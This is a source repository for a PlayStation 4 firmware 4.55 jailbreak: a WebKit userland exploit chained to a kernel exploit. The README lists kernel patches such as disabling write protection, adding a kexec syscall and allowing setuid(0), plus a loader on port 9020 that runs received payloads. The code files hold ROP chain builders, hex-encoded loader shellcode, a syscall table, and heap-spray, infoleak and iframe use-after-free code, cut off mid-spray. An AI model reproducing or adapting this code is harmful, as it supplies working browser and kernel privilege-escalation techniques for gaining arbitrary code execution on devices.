├── README.md
├── index.html
├── rop.js
├── loader.js
├── syscalls.js
├── userland.js
└── kernel.js
/README.md:
--------------------------------------------------------------------------------
1 | # PS4 4.55 Kernel Exploit
2 | ---
3 | ## Summary
4 | In this project you will find a full implementation of the "bpf" kernel exploit for the PlayStation 4 on 4.55. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release however, *does not* contain any code related to defeating anti-piracy mechanisms or running homebrew. This exploit does include a loader that listens for payloads on port `9020` and will execute them upon receival.
5 |
6 | This bug was discovered by qwertyoruiopz, and can be found hosted on his website [here](http://crack.bargains/455/).
7 |
8 | ## Patches Included
9 | The following patches are made by default in the kernel ROP chain:
10 | 1) Disable kernel write protection
11 | 2) Allow RWX (read-write-execute) memory mapping
12 | 3) Syscall instruction allowed anywhere
13 | 4) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process
14 | 4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode
15 | 5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation.
16 |
17 | ## Notes
18 | - Payloads from 4.05 should be fairly trivial to port unless they use hardcoded kernel offsets
19 | - I've built in a patch so the kernel exploit will only run once on the system, you can make additional patches via payloads.
20 | - A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel.
21 |
22 |
23 | ## Contributors
24 | Massive credits to the following:
25 |
26 | - [qwertyoruiopz](https://twitter.com/qwertyoruiopz)
27 | - [Flatz](https://twitter.com/flat_z)
28 | - Anonymous
29 |
--------------------------------------------------------------------------------
/index.html:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | PS4Brew 4.55
5 |
6 |
55 |
56 |
57 |
58 |
59 |
60 |
61 | You're all set!
62 |
63 |
64 |
65 | Something went wrong :(
66 |
67 |
68 |
69 | Only firmware 4.55 is supported!
70 |
71 |
72 |
80 |
81 |
98 |
99 |
100 |
101 |
102 |
103 |
104 |
105 |
106 |
107 |
--------------------------------------------------------------------------------
/rop.js:
--------------------------------------------------------------------------------
1 | // Basic memory functions
2 | function malloc(size)
3 | {
4 | var backing = new Uint8Array(0x10000 + size);
5 |
6 | window.nogc.push(backing);
7 |
8 | var ptr = p.read8(p.leakval(backing).add32(0x10));
9 | ptr.backing = backing;
10 |
11 | return ptr;
12 | }
13 |
14 | function mallocu32(size) {
15 | var backing = new Uint8Array(0x10000 + size * 4);
16 |
17 | window.nogc.push(backing);
18 |
19 | var ptr = p.read8(p.leakval(backing).add32(0x10));
20 | ptr.backing = new Uint32Array(backing.buffer);
21 |
22 | return ptr;
23 | }
24 |
25 | function stringify(str)
26 | {
27 | var bufView = new Uint8Array(str.length + 1);
28 |
29 | for(var i=0; i < str.length; i++) {
30 | bufView[i] = str.charCodeAt(i) & 0xFF;
31 | }
32 |
33 | window.nogc.push(bufView);
34 | return p.read8(p.leakval(bufView).add32(0x10));
35 | }
36 |
37 | // Class for quickly creating a kernel ROP chain
38 | var krop = function (p, addr) {
39 | // Contains base and stack pointer for fake stack (this.stackBase = RBP, this.stackPointer = RSP)
40 | this.stackBase = addr;
41 | this.stackPointer = 0;
42 |
43 | // Push instruction / value onto fake stack
44 | this.push = function (val) {
45 | p.write8(this.stackBase.add32(this.stackPointer), val);
46 | this.stackPointer += 8;
47 | };
48 |
49 | // Write to address with value (helper function)
50 | this.write64 = function (addr, val) {
51 | this.push(window.gadgets["pop rdi"]);
52 | this.push(addr);
53 | this.push(window.gadgets["pop rax"]);
54 | this.push(val);
55 | this.push(window.gadgets["mov [rdi], rax"]);
56 | }
57 |
58 | // Return krop object
59 | return this;
60 | };
61 |
62 | // Class for quickly creating and managing a ROP chain
63 | window.rop = function() {
64 | this.stack = new Uint32Array(0x10000);
65 | this.stackBase = p.read8(p.leakval(this.stack).add32(0x10));
66 | this.count = 0;
67 |
68 | this.clear = function() {
69 | this.count = 0;
70 | this.runtime = undefined;
71 |
72 | for(var i = 0; i < 0xFF0 / 2; i++)
73 | {
74 | p.write8(this.stackBase.add32(i*8), 0);
75 | }
76 | };
77 |
78 | this.pushSymbolic = function() {
79 | this.count++;
80 | return this.count-1;
81 | }
82 |
83 | this.finalizeSymbolic = function(idx, val) {
84 | p.write8(this.stackBase.add32(idx * 8), val);
85 | }
86 |
87 | this.push = function(val) {
88 | this.finalizeSymbolic(this.pushSymbolic(), val);
89 | }
90 |
91 | this.push_write8 = function(where, what)
92 | {
93 | this.push(gadgets["pop rdi"]); // pop rdi
94 | this.push(where); // where
95 | this.push(gadgets["pop rsi"]); // pop rsi
96 | this.push(what); // what
97 | this.push(gadgets["mov [rdi], rsi"]); // perform write
98 | }
99 |
100 | this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9)
101 | {
102 | if (rdi != undefined) {
103 | this.push(gadgets["pop rdi"]); // pop rdi
104 | this.push(rdi); // what
105 | }
106 | if (rsi != undefined) {
107 | this.push(gadgets["pop rsi"]); // pop rsi
108 | this.push(rsi); // what
109 | }
110 | if (rdx != undefined) {
111 | this.push(gadgets["pop rdx"]); // pop rdx
112 | this.push(rdx); // what
113 | }
114 | if (rcx != undefined) {
115 | this.push(gadgets["pop rcx"]); // pop r10
116 | this.push(rcx); // what
117 | }
118 | if (r8 != undefined) {
119 | this.push(gadgets["pop r8"]); // pop r8
120 | this.push(r8); // what
121 | }
122 | if (r9 != undefined) {
123 | this.push(gadgets["pop r9"]); // pop r9
124 | this.push(r9); // what*/
125 | }
126 |
127 | this.push(rip); // jmp
128 | return this;
129 | }
130 |
131 | this.run = function() {
132 | var retv = p.loadchain(this, this.notimes);
133 | this.clear();
134 | return retv;
135 | }
136 |
137 | return this;
138 | };
--------------------------------------------------------------------------------
/loader.js:
--------------------------------------------------------------------------------
1 | function writeLoader(p, addr) {
2 | p.write4(addr.add32(0x00000000), 0x00000be9);
3 | p.write4(addr.add32(0x00000004), 0x0f2e6600);
4 | p.write4(addr.add32(0x00000008), 0x0000841f);
5 | p.write4(addr.add32(0x0000000C), 0x90000000);
6 | p.write4(addr.add32(0x00000010), 0x54415541);
7 | p.write4(addr.add32(0x00000014), 0x83485355);
8 | p.write4(addr.add32(0x00000018), 0xd23118ec);
9 | p.write4(addr.add32(0x0000001C), 0x000001be);
10 | p.write4(addr.add32(0x00000020), 0x0002bf00);
11 | p.write4(addr.add32(0x00000024), 0x04c60000);
12 | p.write4(addr.add32(0x00000028), 0xb8481024);
13 | p.write4(addr.add32(0x0000002C), 0x2610012f);
14 | p.write4(addr.add32(0x00000030), 0x00000009);
15 | p.write4(addr.add32(0x00000034), 0x012444c6);
16 | p.write4(addr.add32(0x00000038), 0x08bc4902);
17 | p.write4(addr.add32(0x0000003C), 0x09261001);
18 | p.write4(addr.add32(0x00000040), 0xc7000000);
19 | p.write4(addr.add32(0x00000044), 0x00042444);
20 | p.write4(addr.add32(0x00000048), 0x66000000);
21 | p.write4(addr.add32(0x0000004C), 0x022444c7);
22 | p.write4(addr.add32(0x00000050), 0x44c63c23);
23 | p.write4(addr.add32(0x00000054), 0xc6000a24);
24 | p.write4(addr.add32(0x00000058), 0x000b2444);
25 | p.write4(addr.add32(0x0000005C), 0x0c2444c6);
26 | p.write4(addr.add32(0x00000060), 0x2444c600);
27 | p.write4(addr.add32(0x00000064), 0x44c6000d);
28 | p.write4(addr.add32(0x00000068), 0xc6000e24);
29 | p.write4(addr.add32(0x0000006C), 0x000f2444);
30 | p.write4(addr.add32(0x00000070), 0x10bad0ff);
31 | p.write4(addr.add32(0x00000074), 0x48000000);
32 | p.write4(addr.add32(0x00000078), 0x8941e689);
33 | p.write4(addr.add32(0x0000007C), 0x48c789c5);
34 | p.write4(addr.add32(0x00000080), 0x10013cb8);
35 | p.write4(addr.add32(0x00000084), 0x00000926);
36 | p.write4(addr.add32(0x00000088), 0xbed0ff00);
37 | p.write4(addr.add32(0x0000008C), 0x0000000a);
38 | p.write4(addr.add32(0x00000090), 0x48ef8944);
39 | p.write4(addr.add32(0x00000094), 0x100149b8);
40 | p.write4(addr.add32(0x00000098), 0x00000926);
41 | p.write4(addr.add32(0x0000009C), 0x31d0ff00);
42 | p.write4(addr.add32(0x000000A0), 0x44f631d2);
43 | p.write4(addr.add32(0x000000A4), 0xb848ef89);
44 | p.write4(addr.add32(0x000000A8), 0x26100122);
45 | p.write4(addr.add32(0x000000AC), 0x00000009);
46 | p.write4(addr.add32(0x000000B0), 0xc589d0ff);
47 | p.write4(addr.add32(0x000000B4), 0x0000b848);
48 | p.write4(addr.add32(0x000000B8), 0x00092620);
49 | p.write4(addr.add32(0x000000BC), 0x00c60000);
50 | p.write4(addr.add32(0x000000C0), 0xc38948c3);
51 | p.write4(addr.add32(0x000000C4), 0x906607eb);
52 | p.write4(addr.add32(0x000000C8), 0x01489848);
53 | p.write4(addr.add32(0x000000CC), 0x1000bac3);
54 | p.write4(addr.add32(0x000000D0), 0x89480000);
55 | p.write4(addr.add32(0x000000D4), 0x41ef89de);
56 | p.write4(addr.add32(0x000000D8), 0xc085d4ff);
57 | p.write4(addr.add32(0x000000DC), 0x8944ea7f);
58 | p.write4(addr.add32(0x000000E0), 0x15bb48ef);
59 | p.write4(addr.add32(0x000000E4), 0x09261001);
60 | p.write4(addr.add32(0x000000E8), 0xff000000);
61 | p.write4(addr.add32(0x000000EC), 0xffef89d3);
62 | p.write4(addr.add32(0x000000F0), 0x00b848d3);
63 | p.write4(addr.add32(0x000000F4), 0x09262000);
64 | p.write4(addr.add32(0x000000F8), 0xff000000);
65 | p.write4(addr.add32(0x000000FC), 0xc48348d0);
66 | p.write4(addr.add32(0x00000100), 0x415d5b18);
67 | p.write4(addr.add32(0x00000104), 0xc35d415c);
68 | p.write4(addr.add32(0x00000108), 0x03c0c748);
69 | p.write4(addr.add32(0x0000010C), 0x49000000);
70 | p.write4(addr.add32(0x00000110), 0x050fca89);
71 | p.write4(addr.add32(0x00000114), 0xc0c748c3);
72 | p.write4(addr.add32(0x00000118), 0x00000006);
73 | p.write4(addr.add32(0x0000011C), 0x0fca8949);
74 | p.write4(addr.add32(0x00000120), 0xc748c305);
75 | p.write4(addr.add32(0x00000124), 0x00001ec0);
76 | p.write4(addr.add32(0x00000128), 0xca894900);
77 | p.write4(addr.add32(0x0000012C), 0x48c3050f);
78 | p.write4(addr.add32(0x00000130), 0x0061c0c7);
79 | p.write4(addr.add32(0x00000134), 0x89490000);
80 | p.write4(addr.add32(0x00000138), 0xc3050fca);
81 | p.write4(addr.add32(0x0000013C), 0x68c0c748);
82 | p.write4(addr.add32(0x00000140), 0x49000000);
83 | p.write4(addr.add32(0x00000144), 0x050fca89);
84 | p.write4(addr.add32(0x00000148), 0xc0c748c3);
85 | p.write4(addr.add32(0x0000014C), 0x0000006a);
86 | p.write4(addr.add32(0x00000150), 0x0fca8949);
87 | p.write4(addr.add32(0x00000154), 0x0000c305);
88 | p.write4(addr.add32(0x00000158), 0x00000014);
89 | p.write4(addr.add32(0x0000015C), 0x00000000);
90 | p.write4(addr.add32(0x00000160), 0x00527a01);
91 | p.write4(addr.add32(0x00000164), 0x01107801);
92 | p.write4(addr.add32(0x00000168), 0x08070c1b);
93 | p.write4(addr.add32(0x0000016C), 0x00000190);
94 | p.write4(addr.add32(0x00000170), 0x00000034);
95 | p.write4(addr.add32(0x00000174), 0x0000001c);
96 | p.write4(addr.add32(0x00000178), 0xfffffe98);
97 | p.write4(addr.add32(0x0000017C), 0x000000f8);
98 | p.write4(addr.add32(0x00000180), 0x100e4200);
99 | p.write4(addr.add32(0x00000184), 0x0e42028d);
100 | p.write4(addr.add32(0x00000188), 0x41038c18);
101 | p.write4(addr.add32(0x0000018C), 0x0486200e);
102 | p.write4(addr.add32(0x00000190), 0x83280e41);
103 | p.write4(addr.add32(0x00000194), 0x400e4405);
104 | p.write4(addr.add32(0x00000198), 0x280ee702);
105 | p.write4(addr.add32(0x0000019C), 0x41200e41);
106 | p.write4(addr.add32(0x000001A0), 0x0e42180e);
107 | p.write4(addr.add32(0x000001A4), 0x080e4210);
108 | p.write4(addr.add32(0x000001A8), 0x3b031b01);
109 | p.write4(addr.add32(0x000001AC), 0xffffffac);
110 | p.write4(addr.add32(0x000001B0), 0x00000001);
111 | p.write4(addr.add32(0x000001B4), 0xfffffe68);
112 | p.write4(addr.add32(0x000001B8), 0xffffffc8);
113 | }
114 |
--------------------------------------------------------------------------------
/syscalls.js:
--------------------------------------------------------------------------------
1 | window.nameforsyscall = swapkeyval(window.syscallnames);
2 | window.syscalls = {};
3 |
4 | /* Get syscall name by index */
5 | function swapkeyval(json){
6 | var ret = {};
7 | for(var key in json){
8 | if (json.hasOwnProperty(key)) {
9 | ret[json[key]] = key;
10 | }
11 | }
12 | return ret;
13 | }
14 |
15 | /* A long ass map of system call names -> number, you shouldn't need to touch this */
16 | window.syscallnames =
17 | {
18 | "sys_exit": 1,
19 | "sys_fork": 2,
20 | "sys_read": 3,
21 | "sys_write": 4,
22 | "sys_open": 5,
23 | "sys_close": 6,
24 | "sys_wait4": 7,
25 | "sys_unlink": 10,
26 | "sys_chdir": 12,
27 | "sys_chmod": 15,
28 | "sys_getpid": 20,
29 | "sys_setuid": 23,
30 | "sys_getuid": 24,
31 | "sys_geteuid": 25,
32 | "sys_recvmsg": 27,
33 | "sys_sendmsg": 28,
34 | "sys_recvfrom": 29,
35 | "sys_accept": 30,
36 | "sys_getpeername": 31,
37 | "sys_getsockname": 32,
38 | "sys_access": 33,
39 | "sys_chflags": 34,
40 | "sys_fchflags": 35,
41 | "sys_sync": 36,
42 | "sys_kill": 37,
43 | "sys_stat": 38,
44 | "sys_getppid": 39,
45 | "sys_dup": 41,
46 | "sys_pipe": 42,
47 | "sys_getegid": 43,
48 | "sys_profil": 44,
49 | "sys_getgid": 47,
50 | "sys_getlogin": 49,
51 | "sys_setlogin": 50,
52 | "sys_sigaltstack": 53,
53 | "sys_ioctl": 54,
54 | "sys_reboot": 55,
55 | "sys_revoke": 56,
56 | "sys_execve": 59,
57 | "sys_msync": 65,
58 | "sys_munmap": 73,
59 | "sys_mprotect": 74,
60 | "sys_madvise": 75,
61 | "sys_mincore": 78,
62 | "sys_getgroups": 79,
63 | "sys_setgroups": 80,
64 | "sys_setitimer": 83,
65 | "sys_getitimer": 86,
66 | "sys_getdtablesize": 89,
67 | "sys_dup2": 90,
68 | "sys_fcntl": 92,
69 | "sys_select": 93,
70 | "sys_fsync": 95,
71 | "sys_setpriority": 96,
72 | "sys_socket": 97,
73 | "sys_connect": 98,
74 | "sys_getpriority": 100,
75 | "sys_send": 101,
76 | "sys_recv": 102,
77 | "sys_bind": 104,
78 | "sys_setsockopt": 105,
79 | "sys_listen": 106,
80 | "sys_recvmsg": 113,
81 | "sys_sendmsg": 114,
82 | "sys_gettimeofday": 116,
83 | "sys_getrusage": 117,
84 | "sys_getsockopt": 118,
85 | "sys_readv": 120,
86 | "sys_writev": 121,
87 | "sys_settimeofday": 122,
88 | "sys_fchmod": 124,
89 | "sys_recvfrom": 125,
90 | "sys_setreuid": 126,
91 | "sys_setregid": 127,
92 | "sys_rename": 128,
93 | "sys_flock": 131,
94 | "sys_sendto": 133,
95 | "sys_shutdown": 134,
96 | "sys_socketpair": 135,
97 | "sys_mkdir": 136,
98 | "sys_rmdir": 137,
99 | "sys_utimes": 138,
100 | "sys_adjtime": 140,
101 | "sys_getpeername": 141,
102 | "sys_setsid": 147,
103 | "sys_sysarch": 165,
104 | "sys_setegid": 182,
105 | "sys_seteuid": 183,
106 | "sys_fstat": 189,
107 | "sys_lstat": 190,
108 | "sys_pathconf": 191,
109 | "sys_fpathconf": 192,
110 | "sys_getrlimit": 194,
111 | "sys_setrlimit": 195,
112 | "sys_getdirentries": 196,
113 | "sys___sysctl": 202,
114 | "sys_mlock": 203,
115 | "sys_munlock": 204,
116 | "sys_futimes": 206,
117 | "sys_poll": 209,
118 | "sys_clock_gettime": 232,
119 | "sys_clock_settime": 233,
120 | "sys_clock_getres": 234,
121 | "sys_ktimer_create": 235,
122 | "sys_ktimer_delete": 236,
123 | "sys_ktimer_settime": 237,
124 | "sys_ktimer_gettime": 238,
125 | "sys_ktimer_getoverrun": 239,
126 | "sys_nanosleep": 240,
127 | "sys_rfork": 251,
128 | "sys_issetugid": 253,
129 | "sys_getdents": 272,
130 | "sys_preadv": 289,
131 | "sys_pwritev": 290,
132 | "sys_getsid": 310,
133 | "sys_aio_suspend": 315,
134 | "sys_mlockall": 324,
135 | "sys_munlockall": 325,
136 | "sys_sched_setparam": 327,
137 | "sys_sched_getparam": 328,
138 | "sys_sched_setscheduler": 329,
139 | "sys_sched_getscheduler": 330,
140 | "sys_sched_yield": 331,
141 | "sys_sched_get_priority_max": 332,
142 | "sys_sched_get_priority_min": 333,
143 | "sys_sched_rr_get_interval": 334,
144 | "sys_utrace": 335,
145 | "sys_sigprocmask": 340,
146 | "sys_sigprocmask": 340,
147 | "sys_sigsuspend": 341,
148 | "sys_sigpending": 343,
149 | "sys_sigtimedwait": 345,
150 | "sys_sigwaitinfo": 346,
151 | "sys_kqueue": 362,
152 | "sys_kevent": 363,
153 | "sys_uuidgen": 392,
154 | "sys_sendfile": 393,
155 | "sys_fstatfs": 397,
156 | "sys_ksem_close": 400,
157 | "sys_ksem_post": 401,
158 | "sys_ksem_wait": 402,
159 | "sys_ksem_trywait": 403,
160 | "sys_ksem_init": 404,
161 | "sys_ksem_open": 405,
162 | "sys_ksem_unlink": 406,
163 | "sys_ksem_getvalue": 407,
164 | "sys_ksem_destroy": 408,
165 | "sys_sigaction": 416,
166 | "sys_sigreturn": 417,
167 | "sys_getcontext": 421,
168 | "sys_setcontext": 422,
169 | "sys_swapcontext": 423,
170 | "sys_sigwait": 429,
171 | "sys_thr_create": 430,
172 | "sys_thr_exit": 431,
173 | "sys_thr_self": 432,
174 | "sys_thr_kill": 433,
175 | "sys_ksem_timedwait": 441,
176 | "sys_thr_suspend": 442,
177 | "sys_thr_wake": 443,
178 | "sys_kldunloadf": 444,
179 | "sys__umtx_op": 454,
180 | "sys__umtx_op": 454,
181 | "sys_thr_new": 455,
182 | "sys_sigqueue": 456,
183 | "sys_thr_set_name": 464,
184 | "sys_rtprio_thread": 466,
185 | "sys_pread": 475,
186 | "sys_pwrite": 476,
187 | "sys_mmap": 477,
188 | "sys_lseek": 478,
189 | "sys_truncate": 479,
190 | "sys_ftruncate": 480,
191 | "sys_thr_kill2": 481,
192 | "sys_shm_open": 482,
193 | "sys_shm_unlink": 483,
194 | "sys_cpuset_getid": 486,
195 | "sys_cpuset_getaffinity": 487,
196 | "sys_cpuset_setaffinity": 488,
197 | "sys_openat": 499,
198 | "sys_pselect": 522,
199 |
200 | "sys_regmgr_call": 532,
201 | "sys_jitshm_create": 533,
202 | "sys_jitshm_alias": 534,
203 | "sys_dl_get_list": 535,
204 | "sys_dl_get_info": 536,
205 | "sys_dl_notify_event": 537,
206 | "sys_evf_create": 538,
207 | "sys_evf_delete": 539,
208 | "sys_evf_open": 540,
209 | "sys_evf_close": 541,
210 | "sys_evf_wait": 542,
211 | "sys_evf_trywait": 543,
212 | "sys_evf_set": 544,
213 | "sys_evf_clear": 545,
214 | "sys_evf_cancel": 546,
215 | "sys_query_memory_protection": 47,
216 | "sys_batch_map": 548,
217 | "sys_osem_create": 549,
218 | "sys_osem_delete": 550,
219 | "sys_osem_open": 551,
220 | "sys_osem_close": 552,
221 | "sys_osem_wait": 553,
222 | "sys_osem_trywait": 554,
223 | "sys_osem_post": 555,
224 | "sys_osem_cancel": 556,
225 | "sys_namedobj_create": 557,
226 | "sys_namedobj_delete": 558,
227 | "sys_set_vm_container": 559,
228 | "sys_debug_init": 560,
229 | "sys_suspend_process": 561,
230 | "sys_resume_process": 562,
231 | "sys_opmc_enable": 563,
232 | "sys_opmc_disable": 564,
233 | "sys_opmc_set_ctl": 565,
234 | "sys_opmc_set_ctr": 566,
235 | "sys_opmc_get_ctr": 567,
236 | "sys_budget_create": 568,
237 | "sys_budget_delete": 569,
238 | "sys_budget_get": 570,
239 | "sys_budget_set": 571,
240 | "sys_virtual_query": 572,
241 | "sys_mdbg_call": 573,
242 | "sys_sblock_create": 574,
243 | "sys_sblock_delete": 575,
244 | "sys_sblock_enter": 576,
245 | "sys_sblock_exit": 577,
246 | "sys_sblock_xenter": 578,
247 | "sys_sblock_xexit": 579,
248 | "sys_eport_create": 580,
249 | "sys_eport_delete": 581,
250 | "sys_eport_trigger": 582,
251 | "sys_eport_open": 583,
252 | "sys_eport_close": 584,
253 | "sys_is_in_sandbox": 585,
254 | "sys_dmem_container": 586,
255 | "sys_get_authinfo": 587,
256 | "sys_mname": 588,
257 | "sys_dynlib_dlopen": 589,
258 | "sys_dynlib_dlclose": 590,
259 | "sys_dynlib_dlsym": 591,
260 | "sys_dynlib_get_list": 592,
261 | "sys_dynlib_get_info": 593,
262 | "sys_dynlib_load_prx": 594,
263 | "sys_dynlib_unload_prx": 595,
264 | "sys_dynlib_do_copy_relocations": 596,
265 | "sys_dynlib_prepare_dlclose": 597,
266 | "sys_dynlib_get_proc_param": 598,
267 | "sys_dynlib_process_needed_and_relocate": 599,
268 | "sys_sandbox_path": 600,
269 | "sys_mdbg_service": 601,
270 | "sys_randomized_path": 602,
271 | "sys_rdup": 603,
272 | "sys_dl_get_metadata": 604,
273 | "sys_workaround8849": 605,
274 | "sys_is_development_mode": 606,
275 | "sys_get_self_auth_info": 607,
276 | "sys_dynlib_get_info_ex": 608,
277 | "sys_budget_get_ptype": 610,
278 | "sys_budget_getid": 609,
279 | "sys_get_paging_stats_of_all_threads": 611,
280 | "sys_get_proc_type_info": 612,
281 | "sys_get_resident_count": 613,
282 | "sys_prepare_to_suspend_process": 614,
283 | "sys_get_resident_fmem_count": 615,
284 | "sys_thr_get_name": 616,
285 | "sys_set_gpo": 617,
286 | "sys_thr_suspend_ucontext": 632,
287 | "sys_thr_resume_ucontext": 633,
288 | "sys_thr_get_ucontext": 634
289 | }
290 |
--------------------------------------------------------------------------------
/userland.js:
--------------------------------------------------------------------------------
1 | /////////////////// UTILITY STUFF ///////////////////
2 |
3 | function makeid() {
4 | var text = "";
5 | var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
6 |
7 | for( var i=0; i < 8; i++ )
8 | text += possible.charAt(Math.floor(Math.random() * possible.length));
9 |
10 | return text;
11 | };
12 |
13 | var instancespr = [];
14 |
15 | for(var i=0; i<2048; i++) {
16 | instancespr[i] = {};
17 | instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
18 | }
19 | for(var i=2048; i<4096; i++) {
20 | instancespr[i] = new Uint32Array(1);
21 | instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */
22 | }
23 |
24 | var _dview;
25 |
26 | function u2d(low, hi) {
27 | if (!_dview) _dview = new DataView(new ArrayBuffer(16));
28 | _dview.setUint32(0, hi);
29 | _dview.setUint32(4, low);
30 | return _dview.getFloat64(0);
31 | }
32 |
33 | function int64(low,hi) {
34 | this.low = (low>>>0);
35 | this.hi = (hi>>>0);
36 |
37 | this.add32inplace = function(val) {
38 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
39 | var new_hi = (this.hi >>> 0);
40 |
41 | if (new_lo < this.low) {
42 | new_hi++;
43 | }
44 |
45 | this.hi=new_hi;
46 | this.low=new_lo;
47 | }
48 |
49 | this.add32 = function(val) {
50 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0;
51 | var new_hi = (this.hi >>> 0);
52 |
53 | if (new_lo < this.low) {
54 | new_hi++;
55 | }
56 |
57 | return new int64(new_lo, new_hi);
58 | }
59 |
60 | this.sub32 = function(val) {
61 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
62 | var new_hi = (this.hi >>> 0);
63 |
64 | if (new_lo > (this.low) & 0xFFFFFFFF) {
65 | new_hi--;
66 | }
67 |
68 | return new int64(new_lo, new_hi);
69 | }
70 |
71 | this.sub32inplace = function(val) {
72 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0;
73 | var new_hi = (this.hi >>> 0);
74 |
75 | if (new_lo > (this.low) & 0xFFFFFFFF) {
76 | new_hi--;
77 | }
78 |
79 | this.hi=new_hi;
80 | this.low=new_lo;
81 | }
82 |
83 | this.and32 = function(val) {
84 | var new_lo = this.low & val;
85 | var new_hi = this.hi;
86 | return new int64(new_lo, new_hi);
87 | }
88 |
89 | this.and64 = function(vallo, valhi) {
90 | var new_lo = this.low & vallo;
91 | var new_hi = this.hi & valhi;
92 | return new int64(new_lo, new_hi);
93 | }
94 |
95 | this.toString = function(val) {
96 | val = 16;
97 | var lo_str = (this.low >>> 0).toString(val);
98 | var hi_str = (this.hi >>> 0).toString(val);
99 |
100 | if(this.hi == 0)
101 | return lo_str;
102 | else
103 | lo_str = zeroFill(lo_str, 8)
104 |
105 | return hi_str+lo_str;
106 | }
107 |
108 | this.toPacked = function() {
109 | return {hi: this.hi, low: this.low};
110 | }
111 |
112 | this.setPacked = function(pck) {
113 | this.hi=pck.hi;
114 | this.low=pck.low;
115 | return this;
116 | }
117 |
118 | return this;
119 | }
120 |
121 | function zeroFill(number, width ) {
122 | width -= number.toString().length;
123 |
124 | if (width > 0) {
125 | return new Array(width + (/\./.test( number ) ? 2 : 1)).join('0') + number;
126 | }
127 |
128 | return number + ""; // always return a string
129 | }
130 |
131 | var nogc = [];
132 |
133 | /////////////////// STAGE 1: INFOLEAK ///////////////////
134 |
135 | failed = false
136 |
137 | // Spray a bunch of JSObjects on the heap for stability
138 | for(var i = 0; i < 0x4000; i++) {
139 | nogc.push({a: 0, b: 0, c: 0, d: 0});
140 | }
141 |
142 | // Target JSObject for overlap
143 | var tgt = {a: 0, b: 0, c: 0, d: 0}
144 |
145 | for(var i = 0; i < 0x400; i++) {
146 | nogc.push({a: 0, b: 0, c: 0, d: 0});
147 | }
148 |
149 | var y = new ImageData(1, 0x4000)
150 | postMessage("", "*", [y.data.buffer]);
151 |
152 | // Spray properties to ensure object is fastmalloc()'d and can be found easily later
153 | var props = {};
154 |
155 | for(var i = 0; (i < (0x4000 / 2));) {
156 | props[i++] = {value: 0x42424242};
157 | props[i++] = {value: tgt};
158 | }
159 |
160 | // Find address of JSValue by leaking one of the JSObject's we sprayed
161 | var foundLeak = undefined;
162 | var foundIndex = 0;
163 | var maxCount = 0x100;
164 |
165 | // Only check 256 times, should rarely fail
166 | while(foundLeak == undefined && maxCount > 0) {
167 | maxCount--;
168 |
169 | history.pushState(y, "");
170 |
171 | Object.defineProperties({}, props);
172 |
173 | var leak = new Uint32Array(history.state.data.buffer);
174 |
175 | // Check memory against known values such as 0x42424242 JSValue and empty JSObject values
176 | for(var i = 0; i < leak.length - 6; i++) {
177 | if(
178 | leak[i] == 0x42424242 &&
179 | leak[i + 0x1] == 0xFFFF0000 &&
180 | leak[i + 0x2] == 0x00000000 &&
181 | leak[i + 0x3] == 0x00000000 &&
182 | leak[i + 0x4] == 0x00000000 &&
183 | leak[i + 0x5] == 0x00000000 &&
184 | leak[i + 0x6] == 0x0000000E &&
185 | leak[i + 0x7] == 0x00000000 &&
186 | leak[i + 0xA] == 0x00000000 &&
187 | leak[i + 0xB] == 0x00000000 &&
188 | leak[i + 0xC] == 0x00000000 &&
189 | leak[i + 0xD] == 0x00000000 &&
190 | leak[i + 0xE] == 0x0000000E &&
191 | leak[i + 0xF] == 0x00000000
192 | ) {
193 | foundIndex = i;
194 | foundLeak = leak;
195 | break;
196 | }
197 | }
198 | }
199 |
200 | // Oh no :(
201 | if(!foundLeak) {
202 | failed = true
203 | fail("Failed to find leak!")
204 | }
205 |
206 | // Get first JSValue
207 | var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40);
208 | var leakJSVal = new int64(firstLeak[8], firstLeak[9]);
209 | leakJSVal.toString();
210 |
211 | // Spray and clear
212 | for(var i = 0; i < 0x4000; i++) {
213 | var lol = {a: 0, b: 0, c: 0, d: 0};
214 | }
215 |
216 | // Force garbage collection via memory pressure
217 | var dgc = function() {
218 | for (var i = 0; i < 0x100; i++) {
219 | new ArrayBuffer(0x100000);
220 | }
221 | }
222 |
223 | /////////////////// STAGE 2: UAF ///////////////////
224 |
225 | // Userland pwnage
226 | function exploit() {
227 | if(failed) {
228 | return;
229 | }
230 |
231 | try {
232 | var src = document.createAttribute('src');
233 | src.value = 'javascript:parent.callback()';
234 |
235 | var d = document.createElement('div');
236 |
237 | // Sandwich our target iframe
238 | for(var i = 0; i < 0x4000; i++) {
239 | nogc.push(document.createElement('iframe'));
240 | }
241 |
242 | var f = document.body.appendChild(document.createElement('iframe'));
243 |
244 | for(var i = 0; i < 0x4000; i++) {
245 | nogc.push(document.createElement('iframe'));
246 | }
247 |
248 | // Free the iframe!
249 | window.callback = () => {
250 | window.callback = null;
251 |
252 | d.setAttributeNodeNS(src);
253 | f.setAttributeNodeNS(document.createAttribute('src'));
254 | };
255 |
256 | f.name = "lol";
257 | f.setAttributeNodeNS(src);
258 | f.remove();
259 |
260 | f = null;
261 | src = null;
262 | nogc.length=0;
263 | dgc();
264 |
265 | /////////////////// STAGE 3: HEAP SPRAY ///////////////////
266 |
267 | // Setup spray variables
268 | var objSpray = 0x10000;
269 | var objSz = 0x90;
270 | var objs = new Array(objSpray);
271 |
272 | // Spray the heap with MarkedArgumentBuffers to corrupt iframe JSObject's backing memory. ImageData does this well.
273 | for(var i = 0; i < objSpray; i++) {
274 | objs[i] = new ImageData(1, objSz / 4);
275 | }
276 |
277 | for(var i = 0; i < objSpray; i++) {
278 | objs[i] = new Uint32Array(objs[i].data.buffer);
